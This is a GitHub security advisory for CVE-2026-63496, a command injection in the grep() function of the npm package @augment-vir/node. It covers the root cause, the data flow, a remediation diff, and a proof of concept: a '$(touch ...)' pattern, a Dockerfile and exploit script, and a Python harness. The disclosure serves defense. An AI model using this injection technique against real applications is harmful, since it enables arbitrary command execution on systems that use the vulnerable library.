GHSA-XVCC-VQJV-PHQH

Vulnerability from github – Published: 2026-11-18 16:15 – Updated: 2026-11-18 16:15
VLAI
Summary
augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`
Details

Shell Command Injection in grep() via Unsanitized searchPattern

Summary

The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).

Details

Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:

// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),

The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:

// shell.ts:98-99
const childProcess = spawn(command, {
    shell,   // defaults to 'bash' (shell.ts:92)

Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.

Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.

Data flow (source → sink):

Step Location Description
1 packages/node/src/index.ts:3 export * from './augments/fs/grep.js' — exposes grep() as a public npm API
2 packages/node/src/augments/fs/grep.ts:223-226 grep() accepts caller-controlled grepSearchPattern and grepSearchLocation
3 packages/node/src/augments/fs/grep.ts:228 searchPatterns derived from grepSearchPattern.patterns \|\| [grepSearchPattern.pattern]
4 packages/node/src/augments/fs/grep.ts:269-314 fullCommand built as a plain shell string
5 packages/node/src/augments/fs/grep.ts:310 Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied
6 packages/node/src/augments/fs/grep.ts:320 fullCommand passed to runShellCommand
7 packages/node/src/augments/terminal/shell.ts:221-224 Forwarded to streamShellCommand
8 packages/node/src/augments/terminal/shell.ts:98-99 spawn(command, { shell: 'bash' }) executes the constructed command string

Suggested remediation:

--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
-    return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+    return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
 }
@@
-        ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+        '--',
         ...searchParts,

Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.

PoC

Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.

Step 1 — Build the Docker image:

docker build -t augment-vir-vuln-001-poc \
  vuln-001

Step 2 — Run the exploit container:

docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc

Core exploit (exploit.mjs inside the container):

import { grep } from '@augment-vir/node';

await grep(
  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
  { file: 'package.json' },
);

The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.

Expected output:

[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match

=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})

Minimal reproduction without Docker:

mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2

cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
  { file: 'package.json' },
);
EOF

rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE

Verification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. VULNERABLE and COMMAND INJECTION CONFIRMED were observed in stdout; the sentinel file /tmp/augment-vir-poc-triggered was created inside the Docker container.

Impact

This is an OS Command Injection (CWE-78) vulnerability. Any application that calls @augment-vir/node's grep() with user-controlled input in the pattern or patterns field is vulnerable to arbitrary command execution under the Node.js process's user account.

  • Confidentiality — High: An attacker can read arbitrary files accessible to the process.
  • Integrity — High: An attacker can write or delete files, install malware, or modify application data.
  • Availability — High: An attacker can terminate processes or exhaust system resources.

The attack vector is classified as Local (the attacker must control the value passed to pattern at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the grep() pattern parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.

Reproduction artifacts

Dockerfile

FROM node:22-slim

# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*

WORKDIR /poc

# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5

# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';

const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';

// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}

console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');

try {
  await grep(
    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
    { file: 'package.json' },
  );
} catch (err) {
  // grep() may throw due to no matches — that is expected and irrelevant
  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}

if (existsSync(SENTINEL_FILE)) {
  console.log('');
  console.log('=== VULNERABLE ===');
  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
  process.exit(0);
} else {
  console.log('');
  console.log('=== NOT EXPLOITED ===');
  console.log('[-] Sentinel file was NOT created — injection did not fire.');
  process.exit(1);
}
EOF

CMD ["node", "/poc/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2

Root cause:
  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
  using unsanitized caller-supplied searchPattern inside double quotes:
    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
  This command string is passed to spawn(command, { shell: 'bash' }), meaning
  $() command substitution in the pattern is executed by bash.

Safe usage: This PoC runs entirely inside a local Docker container.
            No external network attacks, no real credentials, no DoS.
"""

import subprocess
import sys
import os
import json

IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))

BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"


def run(cmd, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[cmd] {cmd}")
    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)


def main():
    print("=" * 60)
    print("VULN-001 PoC: Shell Command Injection in grep()")
    print("Package: @augment-vir/node@31.73.2")
    print("=" * 60)

    # Step 1: Build Docker image
    print("\n[*] Building Docker image...")
    build_result = run(BUILD_CMD, timeout=300)
    if build_result.returncode != 0:
        print("[!] Docker build FAILED")
        print(build_result.stdout[-2000:] if build_result.stdout else "")
        print(build_result.stderr[-2000:] if build_result.stderr else "")
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
            evidence=build_result.stderr[-1000:],
        )
        sys.exit(1)
    print("[+] Docker image built successfully")

    # Step 2: Run exploit container
    print("\n[*] Running exploit container...")
    run_result = run(RUN_CMD, timeout=120)

    combined_output = run_result.stdout + run_result.stderr
    print(combined_output)

    # Step 3: Evaluate result
    vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output

    if vulnerable:
        print("\n[+] PASS — Command injection confirmed inside Docker container")
        print("[+] The $() substitution in grep() pattern was executed by bash")
        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
                "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
                "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(0)
    else:
        print("\n[-] FAIL — exploit did not produce expected output")
        write_result(
            passed=False,
            verdict="FAIL",
            reason=(
                "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
                "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(1)


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": f"python3 {os.path.abspath(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[*] Result written to {out_path}")


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@augment-vir/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "31.73.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-18T16:15:52Z",
    "nvd_published_at": "2026-11-09T22:18:53Z",
    "severity": "HIGH"
  },
  "details": "## Shell Command Injection in `grep()` via Unsanitized `searchPattern`\n\n### Summary\n\nThe `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: \u0027bash\u0027` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`\u0027s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**.\n\n### Details\n\n**Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e \"${searchPattern}\"` with no sanitization:\n\n```ts\n// grep.ts:310\n...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`),\n```\n\nThe resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:\n\n```ts\n// shell.ts:98-99\nconst childProcess = spawn(command, {\n    shell,   // defaults to \u0027bash\u0027 (shell.ts:92)\n```\n\nBecause `shell` is `\u0027bash\u0027`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.\n\n**Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `\"` with `\\\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/node/src/index.ts:3` | `export * from \u0027./augments/fs/grep.js\u0027` \u2014 exposes `grep()` as a public npm API |\n| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |\n| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \\|\\| [grepSearchPattern.pattern]` |\n| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |\n| 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e \"${searchPattern}\"` `` \u2014 no escaping applied |\n| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |\n| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |\n| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: \u0027bash\u0027 })` executes the constructed command string |\n\n**Suggested remediation:**\n\n```diff\n--- a/packages/node/src/augments/fs/grep.ts\n+++ b/packages/node/src/augments/fs/grep.ts\n@@\n-function escape(input: string) {\n-    return input.replaceAll(\u0027\"\u0027, String.raw`\\\"`).replaceAll(\u0027\\n\u0027, \u0027\u0027);\n+function shellQuote(input: string) {\n+    return `\u0027${input.replaceAll(\"\u0027\", String.raw`\u0027\\\u0027\u0027`).replaceAll(\u0027\\n\u0027, \u0027\u0027)}\u0027`;\n }\n@@\n-        ...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`),\n+        ...searchPatterns.map((searchPattern) =\u003e `-e ${shellQuote(searchPattern)}`),\n+        \u0027--\u0027,\n         ...searchParts,\n```\n\nAlternatively, replace the shell-string approach with `spawn(\u0027grep\u0027, args, { shell: false })` to avoid shell interpretation entirely.\n\n### PoC\n\n**Prerequisites:** Docker installed on the host. All steps run locally inside a container \u2014 no network exposure, no real credentials, no DoS.\n\n**Step 1 \u2014 Build the Docker image:**\n\n```bash\ndocker build -t augment-vir-vuln-001-poc \\\n  vuln-001\n```\n\n**Step 2 \u2014 Run the exploit container:**\n\n```bash\ndocker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc\n```\n\n**Core exploit (`exploit.mjs` inside the container):**\n\n```js\nimport { grep } from \u0027@augment-vir/node\u0027;\n\nawait grep(\n  { pattern: \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 },\n  { file: \u0027package.json\u0027 },\n);\n```\n\nThe `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.\n\n**Expected output:**\n\n```\n[*] Calling grep() with injected $() command substitution pattern...\n[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\n\n=== VULNERABLE ===\n[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered\n[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\n```\n\n**Minimal reproduction without Docker:**\n\n```bash\nmkdir /tmp/av-grep-poc \u0026\u0026 cd /tmp/av-grep-poc\nnpm init -y\nnpm install @augment-vir/node@31.73.2\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport { grep } from \u0027@augment-vir/node\u0027;\nawait grep(\n  { pattern: \u0027$(touch /tmp/augment-vir-grep-poc)no-match\u0027 },\n  { file: \u0027package.json\u0027 },\n);\nEOF\n\nrm -f /tmp/augment-vir-grep-poc\nnode poc.mjs\ntest -f /tmp/augment-vir-grep-poc \u0026\u0026 echo VULNERABLE\n```\n\n**Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.\n\n### Impact\n\nThis is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`\u0027s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process\u0027s user account.\n\n- **Confidentiality \u2014 High:** An attacker can read arbitrary files accessible to the process.\n- **Integrity \u2014 High:** An attacker can write or delete files, install malware, or modify application data.\n- **Availability \u2014 High:** An attacker can terminate processes or exhaust system resources.\n\nThe attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package\u0027s main entry point and is enabled by default.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-slim\n\n# Install grep (required by @augment-vir/node\u0027s grep() implementation)\nRUN apt-get update -qq \u0026\u0026 apt-get install -y --no-install-recommends grep \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /poc\n\n# Initialize npm project and install the vulnerable package version\nRUN npm init -y \u0026\u0026 \\\n    npm install @augment-vir/node@31.73.2 --save 2\u003e\u00261 | tail -5\n\n# Create the exploit script that demonstrates command injection via grep()\n# The pattern \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 is injected\n# into the shell command string without sanitization, causing $() substitution\n# to execute \u0027touch /tmp/augment-vir-poc-triggered\u0027 under bash.\nRUN cat \u003e /poc/exploit.mjs \u003c\u003c \u0027EOF\u0027\nimport { grep } from \u0027@augment-vir/node\u0027;\nimport { existsSync } from \u0027node:fs\u0027;\n\nconst SENTINEL_FILE = \u0027/tmp/augment-vir-poc-triggered\u0027;\n\n// Remove sentinel file if it exists from a previous run\nimport { rmSync } from \u0027node:fs\u0027;\ntry { rmSync(SENTINEL_FILE); } catch {}\n\nconsole.log(\u0027[*] Calling grep() with injected $() command substitution pattern...\u0027);\nconsole.log(\u0027[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\u0027);\n\ntry {\n  await grep(\n    { pattern: \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 },\n    { file: \u0027package.json\u0027 },\n  );\n} catch (err) {\n  // grep() may throw due to no matches \u2014 that is expected and irrelevant\n  console.log(\u0027[*] grep() threw (expected when no matches):\u0027, err?.message ?? err);\n}\n\nif (existsSync(SENTINEL_FILE)) {\n  console.log(\u0027\u0027);\n  console.log(\u0027=== VULNERABLE ===\u0027);\n  console.log(\u0027[+] COMMAND INJECTION CONFIRMED: sentinel file exists at\u0027, SENTINEL_FILE);\n  console.log(\u0027[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\u0027);\n  process.exit(0);\n} else {\n  console.log(\u0027\u0027);\n  console.log(\u0027=== NOT EXPLOITED ===\u0027);\n  console.log(\u0027[-] Sentinel file was NOT created \u2014 injection did not fire.\u0027);\n  process.exit(1);\n}\nEOF\n\nCMD [\"node\", \"/poc/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Shell Command Injection in @augment-vir/node grep()\nCWE-78 \u2014 OS Command Injection\nAffected version: @augment-vir/node@31.73.2\n\nRoot cause:\n  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string\n  using unsanitized caller-supplied searchPattern inside double quotes:\n    ...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`)\n  This command string is passed to spawn(command, { shell: \u0027bash\u0027 }), meaning\n  $() command substitution in the pattern is executed by bash.\n\nSafe usage: This PoC runs entirely inside a local Docker container.\n            No external network attacks, no real credentials, no DoS.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport json\n\nIMAGE_NAME = \"augment-vir-vuln-001-poc\"\nCONTAINER_NAME = \"augment-vir-vuln-001-run\"\nDOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nBUILD_CMD = f\"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}\"\nRUN_CMD = f\"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}\"\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[cmd] {cmd}\")\n    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Shell Command Injection in grep()\")\n    print(\"Package: @augment-vir/node@31.73.2\")\n    print(\"=\" * 60)\n\n    # Step 1: Build Docker image\n    print(\"\\n[*] Building Docker image...\")\n    build_result = run(BUILD_CMD, timeout=300)\n    if build_result.returncode != 0:\n        print(\"[!] Docker build FAILED\")\n        print(build_result.stdout[-2000:] if build_result.stdout else \"\")\n        print(build_result.stderr[-2000:] if build_result.stderr else \"\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker \ube4c\ub4dc \uc2e4\ud328 \u2014 npm install \ub610\ub294 \ub124\ud2b8\uc6cc\ud06c \uc624\ub958\",\n            evidence=build_result.stderr[-1000:],\n        )\n        sys.exit(1)\n    print(\"[+] Docker image built successfully\")\n\n    # Step 2: Run exploit container\n    print(\"\\n[*] Running exploit container...\")\n    run_result = run(RUN_CMD, timeout=120)\n\n    combined_output = run_result.stdout + run_result.stderr\n    print(combined_output)\n\n    # Step 3: Evaluate result\n    vulnerable = \"VULNERABLE\" in combined_output and \"COMMAND INJECTION CONFIRMED\" in combined_output\n\n    if vulnerable:\n        print(\"\\n[+] PASS \u2014 Command injection confirmed inside Docker container\")\n        print(\"[+] The $() substitution in grep() pattern was executed by bash\")\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"Docker \ucee8\ud14c\uc774\ub108 \ub0b4\uc5d0\uc11c grep() \ud328\ud134\uc5d0 \ud3ec\ud568\ub41c $() \uba85\ub839 \uce58\ud658\uc774 bash\uc5d0 \uc758\ud574 \uc2e4\ud589\ub418\uc5c8\uc74c\uc744 \ud655\uc778. \"\n                \"sentinel \ud30c\uc77c /tmp/augment-vir-poc-triggered\uac00 \uc0dd\uc131\ub418\uc5c8\uc73c\uba70 stdout\uc5d0\uc11c \u0027VULNERABLE\u0027 \ubc0f \"\n                \"\u0027COMMAND INJECTION CONFIRMED\u0027 \ubb38\uc790\uc5f4\uc774 \uad00\uce21\ub428.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(0)\n    else:\n        print(\"\\n[-] FAIL \u2014 exploit did not produce expected output\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=(\n                \"\ucee8\ud14c\uc774\ub108 stdout\uc5d0\uc11c \u0027VULNERABLE\u0027 \ub610\ub294 \u0027COMMAND INJECTION CONFIRMED\u0027\uac00 \uad00\uce21\ub418\uc9c0 \uc54a\uc74c. \"\n                \"sentinel \ud30c\uc77c\uc774 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uac70\ub098 grep() \ub3d9\uc791\uc774 \uc608\uc0c1\uacfc \ub2e4\ub97c \uc218 \uc788\uc74c.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(1)\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    out_path = os.path.join(DOCKERFILE_DIR, \"phase2_result.json\")\n    with open(out_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {out_path}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-xvcc-vqjv-phqh",
  "modified": "2026-11-18T16:15:53Z",
  "published": "2026-11-18T16:15:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electrovir/augment-vir"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/releases/tag/v31.73.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.